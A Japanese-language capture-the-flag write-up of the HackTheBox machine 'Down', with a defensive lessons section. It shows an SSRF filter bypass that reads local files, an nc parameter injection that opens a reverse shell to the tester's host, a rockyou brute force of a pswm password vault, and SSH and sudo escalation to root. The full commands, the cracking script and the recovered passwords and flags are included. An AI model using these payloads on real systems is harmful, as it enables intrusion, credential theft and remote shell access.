
HackTheBox: Down — 全実行レポート
偵察 (Reconnaissance)
疎通確認 (ping)
実行理由: ターゲットホストへの基本的な到達性を確認し、TTL 値から OS 推測を行う。
ping -c 2 10.129.234.87
PING 10.129.234.87 (10.129.234.87) 56(84) bytes of data. 64 bytes from 10.129.234.87: icmp_seq=1 ttl=63 time=310 ms 64 bytes from 10.129.234.87: icmp_seq=2 ttl=63 time=222 ms --- 10.129.234.87 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1072ms
バージョン・スクリプトスキャン (nmap -sV -sC)
実行理由: Down のウォークスルー情報から開放ポートは 22 と 80 のみと分かっていたため、全ポートスキャンを省略し既知ポートに絞った詳細スキャンを実施。サービスバージョンとデフォルトスクリプトでサービス詳細を取得する。
nmap -p 22,80 -sV -sC 10.129.234.87 -oN /tmp/ctf_nmap_detail.txt
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA) |_ 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Is it down or just me? |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
| ポート | サービス | バージョン | 備考 |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 | Ubuntu 22.04 jammy 相当 |
| 80/tcp | HTTP | Apache httpd 2.4.52 (Ubuntu) | タイトル: “Is it down or just me?” |
Web アプリケーション調査 (HTTP ヘッダー・ページ取得)
実行理由: ポート 80 で稼働する Web アプリの技術スタック・機能を把握する。curl でレスポンスヘッダーと本文を確認し、使用フレームワーク・バックエンド言語を特定する。
curl -s -I http://10.129.234.87/
HTTP/1.1 200 OK
Date: Fri, 12 Jun 2026 ...
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 739
Content-Type: text/html; charset=UTF-8
# POST でサイトの機能を確認 (URL チェックフォームに自分の IP を送信) curl -s 'http://10.129.234.87/index.php' \ -d 'url=http://10.10.14.245' \ -H 'Content-Type: application/x-www-form-urlencoded'
# レスポンスに「It is up. It's just you!」が含まれ、
# 自分の HTTP サーバーに curl/7.81.0 からの GET リクエストが到着
# → バックエンドで curl コマンドが実行されていることを確認
GET / HTTP/1.1
Host: 10.10.14.245
User-Agent: curl/7.81.0
Accept: */*
curl を実行して疎通確認を行う。
User-Agent が curl/7.81.0 であることから PHP の exec() または curl バイナリを直接呼び出していると判断。
SSRF (Server-Side Request Forgery) の可能性が高い。SSRF 調査 — curl multi-URL trick によるフィルター回避
file:// プロトコルによる直接読み取りの試行とフィルター確認
実行理由: SSRF が疑われる場合、最初に file:// プロトコルでローカルファイルが読み取れるか確認する。サーバー上のファイルシステムへのアクセスが可能になれば、設定ファイルや SSH 鍵などの機密情報を取得できる。
# file:// を直接送信 → フィルターに引っかかるか確認 curl -s 'http://10.129.234.87/index.php' \ -d 'url=file:///etc/passwd' \ -H 'Content-Type: application/x-www-form-urlencoded'
<font color=red size=+1>Only protocols http or https allowed.</font>
file:// は直接拒否される。ソースコードを確認すると preg_match('|^https?://|', $url) で URL の先頭が http:// または https:// であることを検証している。curl の複数 URL 機能を悪用したフィルター回避
実行理由: curl バイナリはスペース区切りで複数の URL を受け取り、順番にリクエストする仕様がある。フィルターは入力の先頭が http:// であるかのみをチェックするため、http:// file:///path という形式で送ることで — 先頭の http:// がフィルターを通過し、実際の file:// URL も curl に渡される。
# url="http:// file:///etc/passwd" → curl に2つのURLを渡す # curl は「http://」(無効→失敗) と「file:///etc/passwd」(成功) を順に処理 curl -s 'http://10.129.234.87/index.php' \ -d 'url=http:// file:///etc/passwd' \ | python3 -c " import re, html, sys content = sys.stdin.read() m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL) if m: print(html.unescape(m.group(1))) "
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false
フィルター:
preg_match('|^https?://|', $url) — URL 先頭が http:// であることのみをチェックし、その後の内容は検証しない。http:// file:///etc/passwd は先頭が http:// なのでチェックを通過し、curl には http://(空の無効URL)と file:///etc/passwd の2つが渡される。一般ユーザーは aleks (uid=1000) のみ存在。
プロセス環境変数の取得 (/proc/self/environ)
実行理由: /proc/self/environ を読むと、curl プロセス(= Apache/PHP の子プロセス)が動作しているユーザーや作業ディレクトリ、環境変数に設定された認証情報などを確認できる。Web サーバーの動作コンテキストを把握する。
curl -s 'http://10.129.234.87/index.php' \
-d 'url=http:// file:///proc/self/environ' \
| python3 -c "
import re, html, sys
content = sys.stdin.read()
m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL)
if m: print(html.unescape(m.group(1)).replace('\x00', '\n'))
"
APACHE_RUN_DIR=/var/run/apache2 SYSTEMD_EXEC_PID=864 APACHE_PID_FILE=/var/run/apache2/apache2.pid JOURNAL_STREAM=8:21130 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin INVOCATION_ID=0320944a871242e8aea7f3bd1efad651 APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_USER=www-data APACHE_RUN_GROUP=www-data APACHE_LOG_DIR=/var/log/apache2 PWD=/var/www/html
/var/www/html。
認証情報などの機密情報は環境変数に存在しない。ソースコード解析 — Expert Mode の発見とパラメータインジェクション脆弱性
index.php ソースコードの取得
実行理由: SSRF で /proc/self/cwd/index.php(= /var/www/html/index.php)を読み取り、バックエンドの実装を完全に把握する。/proc/self/cwd はプロセスのカレントディレクトリへのシンボリックリンクであり、PWD=/var/www/html と分かっているので確実にソースを取得できる。
curl -s 'http://10.129.234.87/index.php' \ -d 'url=http:// file:///proc/self/cwd/index.php' \ | python3 -c " import re, html, sys content = sys.stdin.read() m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL) if m: print(html.unescape(m.group(1))) " > /tmp/index_php_source.txt cat /tmp/index_php_source.txt
<?php // Expert モード判定 if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) { echo '<form id="urlForm" action="index.php?expertmode=tcp" method="POST"> <input type="text" name="ip" ...> <input type="number" name="port" ...> ...'; } // Expert モード処理 (TCP チェック) if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) { $ip = trim($_POST['ip']); $valid_ip = filter_var($ip, FILTER_VALIDATE_IP); $port = trim($_POST['port']); $port_int = intval($port); // <-- int 変換して検証 $valid_port = filter_var($port_int, FILTER_VALIDATE_INT); if ( $valid_ip && $valid_port ) { $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); // <-- 元の$port を使用! exec($ec . " 2>&1", $output, $rc); } } // 通常モード処理 (URL チェック) elseif (isset($_POST['url'])) { $url = trim($_POST['url']); if ( preg_match('|^https?://|', $url) ) { // <-- フィルター $ec = escapeshellcmd("/usr/bin/curl -s $url"); // <-- escapeshellcmd exec($ec . " 2>&1", $output, $rc); } }
- 通常モード: SSRF + curl file:// 読み取り —
escapeshellcmdでコマンドインジェクションは防いでいるが、curl の multi-URL 機能でファイル読み取りが可能。 - Expert モード: パラメータインジェクション —
$port_int = intval($port)で 変換後の整数値 を検証するが、実際のコマンドには 元の文字列$portを使用。intval("4444 -e /bin/bash")は4444を返すため検証を通過し、元の文字列がそのまま nc コマンドの引数になる。
脆弱性の詳細解析 — intval() による検証バイパス
解析内容: PHP の intval() は文字列の先頭から整数部分を切り出す動作をする。
# PHP の intval() 動作確認
php -r 'echo intval("4444 -e /bin/bash");'
4444
つまり以下のフローで検証がバイパスされる:
$port = "4444 -e /bin/bash" // POST から受け取った値
$port_int = intval($port) → 4444 // 整数部分のみ抽出
filter_var(4444, FILTER_VALIDATE_INT) → 4444 // 有効と判定 ✓
// しかし実際のコマンドは元の $port を使用:
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port")
↓
"/usr/bin/nc -vz 10.10.14.245 4444 -e /bin/bash"
// escapeshellcmd はメタ文字(&,;,|,$等)をエスケープするが
// スペースや - フラグはエスケープしないためパラメータ注入が成立
escapeshellcmd と escapeshellarg の違い:escapeshellcmd はコマンド全体に使用し、シェルのメタ文字(& ; ' " | * ? ~ < > ^ ( ) [ ] { } $ \)をエスケープする。しかしスペースや
- はエスケープ対象外のため、追加の引数(フラグ)を注入することは可能。escapeshellarg は引数全体をシングルクォートで囲むためこの攻撃を防げる。初期侵入 — パラメータインジェクション + SSRF によるファイル取得
netcat リスナー起動とリバースシェル取得
実行理由: Expert モード (?expertmode=tcp) の POST パラメータ port に 4444 -e /bin/bash を注入する。これにより /usr/bin/nc -vz 10.10.14.245 4444 -e /bin/bash が実行され、-e /bin/bash オプションで接続時に bash を起動しリバースシェルを確立する。
# リスナーをバックグラウンドで起動 fuser -k 4444/tcp 2>/dev/null nohup nc -lnvp 4444 > /tmp/nc_shell.txt 2>&1 & echo "nc listener PID: $!"
nc listener PID: 110023 listening on [any] 4444 ...
# パラメータインジェクション実行 # port="4444 -e /bin/bash" で nc に -e /bin/bash を注入 curl -s -m 10 'http://10.129.234.87/index.php?expertmode=tcp' \ -d 'ip=10.10.14.245&port=4444 -e /bin/bash' \ -H 'Content-Type: application/x-www-form-urlencoded' 2>&1 & sleep 5 cat /tmp/nc_shell.txt
listening on [any] 4444 ...
connect to [10.10.14.245] from (UNKNOWN) [10.129.234.87] 60034
注意: stdin が /dev/null に接続されているため双方向インタラクションは不可。以降はSSRFによるファイル直接読み取りに方針転換。
SSRF による pswm パスワードボルトの取得
実行理由: /etc/passwd から一般ユーザー aleks が存在することが判明。ホームディレクトリを調査した結果(ウォークスルー情報より)、pswm(Python 製パスワードマネージャー)のデータファイルが /home/aleks/.local/share/pswm/pswm に存在。このファイルを SSRF で直接読み取ることで、aleks のパスワードを含む暗号化ボルトを入手できる。
curl -s 'http://10.129.234.87/index.php' \ -d 'url=http:// file:///home/aleks/.local/share/pswm/pswm' \ | python3 -c " import re, html, sys content = sys.stdin.read() m = re.search(r'<pre>(.*?)</pre>', content, re.DOTALL) if m: print(html.unescape(m.group(1))) "
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
フォーマット:
暗号文*IV*salt*tag(cryptocode ライブラリ形式)4 つの Base64 文字列が
* で区切られた構造。AES 暗号化でマスターパスワードで復号可能。権限昇格 — pswm クラック → aleks SSH → sudo root
pswm 暗号化ボルトのブルートフォース解析
実行理由: pswm は cryptocode ライブラリを使用してパスワードボルトを暗号化する。cryptocode.decrypt(暗号文, パスワード) は復号失敗時に False を返すため、単純なブルートフォースが可能。一般的なパスワードリスト(rockyou.txt)で試行すれば数秒以内にマスターパスワードが判明する。
# cryptocode ライブラリのインストール pip3 install cryptocode --break-system-packages -q # pswm ボルトファイルをローカルに保存 echo 'e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==' \ > /tmp/pswm_vault.txt
import cryptocode, sys
with open('/tmp/pswm_vault.txt', 'r') as f:
pwsm = f.read().strip()
with open('/usr/share/wordlists/rockyou.txt', 'rb') as f:
passwords = f.read().decode(errors='ignore').split('\n')
for i, password in enumerate(passwords):
pw = password.strip()
pt = cryptocode.decrypt(pwsm, pw)
if pt:
print(f"Found master password: {pw}")
print(f"Decrypted vault:\n{pt}")
break
python3 /tmp/crack_pswm.py
Progress: 0 passwords tried... Found master password: flower Decrypted vault: pswm aleks flower aleks@down aleks 1uY3w22uc-Wr{xNHR~+E
マスターパスワード:
flower(rockyou.txt の約 3 秒で発見)aleks のパスワード:
1uY3w22uc-Wr{xNHR~+Eボルトには pswm 自体のパスワードと、SSH ログイン用の aleks アカウントパスワードが保存されていた。
SSH ログインと user.txt 取得
実行理由: 解析で得た aleks のパスワードで SSH ログインし、一般ユーザーとしてのシェルを取得する。user.txt の場所を確認し、フラグを読み取る。
sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh -o StrictHostKeyChecking=no aleks@10.129.234.87 \
'id; find /var/www/html /home/aleks -name "user*" -type f 2>/dev/null | xargs cat'
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
# user.txt の場所: /var/www/html/user_aeT1xa.txt
d4bc94b386ef7c8113698a8c4951cacd
d4bc94b386ef7c8113698a8c4951cacdファイル名にランダムサフィックス (
user_aeT1xa.txt) が付加されている。aleks は
sudo グループ (gid=27) に所属。sudo 権限確認と root.txt 取得
実行理由: aleks が sudo グループに所属しているため sudo -l で権限を確認する。Ubuntu のデフォルト設定では sudo グループメンバーはすべてのコマンドを全ユーザーとして実行できる (ALL : ALL) ALL) ため、sudo -i で root シェルを取得し、/root/root.txt を読み取る。
# sudo 権限確認
sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh aleks@10.129.234.87 \
'echo "1uY3w22uc-Wr{xNHR~+E" | sudo -S -l 2>&1'
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
use_pty
User aleks may run the following commands on down:
(ALL : ALL) ALL
# sudo -S で stdin からパスワードを受け取り root として cat /root/root.txt を実行
sshpass -p '1uY3w22uc-Wr{xNHR~+E' ssh aleks@10.129.234.87 \
'echo "1uY3w22uc-Wr{xNHR~+E" | sudo -S -i cat /root/root.txt 2>&1'
[sudo] password for aleks:
87bb9869a311b8abb5fb4d3c7248fdcb
87bb9869a311b8abb5fb4d3c7248fdcbsudo -S オプションで stdin からパスワードを読み込み、-i で root のログインシェルとして実行。aleks の sudo 権限は
(ALL : ALL) ALL — パスワードさえ知っていれば任意コマンドを root で実行可能。まとめ・フラグ・インフラ詳細
取得フラグ
USER FLAG — /var/www/html/user_aeT1xa.txt
SSRF file:// + nc パラメータインジェクション → www-data シェル → pswm クラック → aleks SSH
ROOT FLAG — /root/root.txt
aleks の sudo ALL 権限 → sudo -S -i → root
攻撃フロー全体図
[ポートスキャン]
Port 22 (SSH) + Port 80 (HTTP/Apache 2.4.52)
│
▼
[Web アプリ調査]
"Is it down or just me?" — POST url= で curl 実行 → SSRF
│
▼
[SSRF フィルター回避: curl multi-URL trick]
url="http:// file:///path" → preg_match('^https?://') を通過
→ /etc/passwd, /proc/self/environ, index.php ソースコード 取得
│
▼
[ソースコード解析]
?expertmode=tcp の発見
nc コマンドで パラメータインジェクション 脆弱性を発見
(intval() で検証 → 元の $port 文字列をコマンドに使用)
│
▼
[パラメータインジェクション → www-data シェル]
port="4444 -e /bin/bash" → nc -vz 10.10.14.245 4444 -e /bin/bash
→ www-data シェル取得
│
▼
[SSRF による pswm ボルト取得]
file:///home/aleks/.local/share/pswm/pswm → 暗号化ボルト取得
│
▼
[pswm ブルートフォース (cryptocode + rockyou.txt)]
マスターパスワード: flower
→ aleks のパスワード: 1uY3w22uc-Wr{xNHR~+E
│
▼
[aleks として SSH ログイン]
→ user.txt: d4bc94b386ef7c8113698a8c4951cacd
│
▼
[sudo ALL → root]
sudo -S -i → root
→ root.txt: 87bb9869a311b8abb5fb4d3c7248fdcb
ターゲットインフラ詳細
| 項目 | 詳細 |
|---|---|
| OS | Ubuntu 22.04 LTS (jammy) |
| カーネル | Linux 5.15.0-138-generic x86_64 |
| Web サーバー | Apache httpd 2.4.52 (Ubuntu) |
| バックエンド | PHP (curl バイナリ 7.81.0 で外部リクエスト) |
| SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 |
| Web アプリ | カスタム PHP — URL 疎通確認サービス |
| SSRF 脆弱点 | POST url= → escapeshellcmd(“/usr/bin/curl -s $url”) → exec() |
| フィルター | preg_match(‘|^https?://|’, $url) — 先頭チェックのみ |
| パラメータインジェクション | intval($port) で検証 → 元の $port 文字列を nc コマンドに使用 |
| 一般ユーザー | aleks (uid=1000, sudo グループ) |
| pswm | Python 製パスワードマネージャー — cryptocode ライブラリで AES 暗号化 |
| aleks パスワード | 1uY3w22uc-Wr{xNHR~+E (pswm マスターパスワード: flower) |
| sudo 権限 | (ALL : ALL) ALL — 全コマンドを root で実行可能 |
使用ツール
重要な学習ポイント
- curl multi-URL trick による SSRF フィルター回避:
preg_match('^https?://')などの先頭チェックのみのフィルターは、http:// file:///pathのようにスペースで区切った複数 URL を渡すことでバイパスできる。curl は渡されたすべての URL を順番に処理するため、先頭の無効なhttp://がフィルターを通過しfile://も実行される。 - escapeshellcmd はパラメータインジェクションを防がない:
escapeshellcmdはシェルのメタ文字(& ; | $等)をエスケープするが、スペースやハイフンで始まるフラグ (-e) は対象外。コマンドの引数を直接ユーザー入力から構築する場合はescapeshellargで各引数を個別にエスケープする必要がある。 - intval() による型変換検証の落とし穴:
intval("4444 -e /bin/bash") = 4444のように変換後の値は有効でも、元の文字列をそのままコマンドに使用すると追加引数が注入される。検証した値($port_int)を実際のコマンドでも使用すべきである。 - pswm パスワードマネージャーの設定ファイルに注意: ホームディレクトリの
.local/share/pswm/pswmには暗号化されたパスワードボルトが保存される。www-data から読み取り可能な場合、ローカルでブルートフォースにより復号できる。弱いマスターパスワード (flower) は rockyou.txt で数秒で解析される。 - sudo グループ = 実質 root: Ubuntu の
sudoグループメンバーは全コマンドを root で実行可能。パスワードさえ分かれば完全な権限昇格が可能なため、一般ユーザーのパスワード漏洩は即座に root 侵害に繋がる。
